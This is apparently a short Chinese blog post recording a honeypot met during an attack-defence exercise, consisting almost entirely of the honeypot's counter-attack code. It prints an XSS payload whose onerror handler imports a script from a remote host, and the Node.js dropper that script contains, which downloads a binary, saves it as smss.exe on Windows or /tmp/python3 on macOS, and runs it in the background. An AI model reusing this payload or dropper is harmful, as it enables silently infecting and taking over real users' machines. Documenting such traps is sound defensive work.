记一次hw遇到的蜜罐

1

PHP/7qwaSdnCim9kf<img	src=1	onerror=import(unescape('http://xxx:8000/qwaSdnCim9kf/Node.js'))>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

var fs = require('fs');
var http = require("http");
var os = require("os");

function download(urls, i, path, cmd) {
    http.get(urls[i], (res) => {
        const file = fs.createWriteStream(path);
        res.pipe(file);
        file.on('finish', () => {
            file.close();
            require('child_process').exec(cmd);
        });
    }).on("error", (err) => {
        if (urls.length > i + 1) {
            download(urls, i + 1, path, cmd)
        }
    });
}

(function () {
    if (process.platform == "win32") {
        var urls = ["http://xxx:8000/ADAC2E06D3A15A113967EAE26E90945AA992964CB4CBD733DA913F6E5D41EDBC3E35ACF38CAD40E40983"]
        let filename = os.homedir() + "\\AppData\\Local\\Temp\\smss.exe"
        download(urls, 0, filename, "start " + filename)
    }
    if (process.platform == "darwin") {
        var urls = ["http://xxx:8000/0C9EBD4F9BA0CE15A973CFD3B35B827BD8C2B979AE0A092C29702DA492447AD1C4A91EDDDED06F5B063354A8A39175890A0368A019DA"]
        let filename = "/tmp/python3"
        download(urls, 0, filename, "chmod u+x /tmp/python3 && nohup /tmp/python3 > /dev/null 2>&1 &")
    }
})();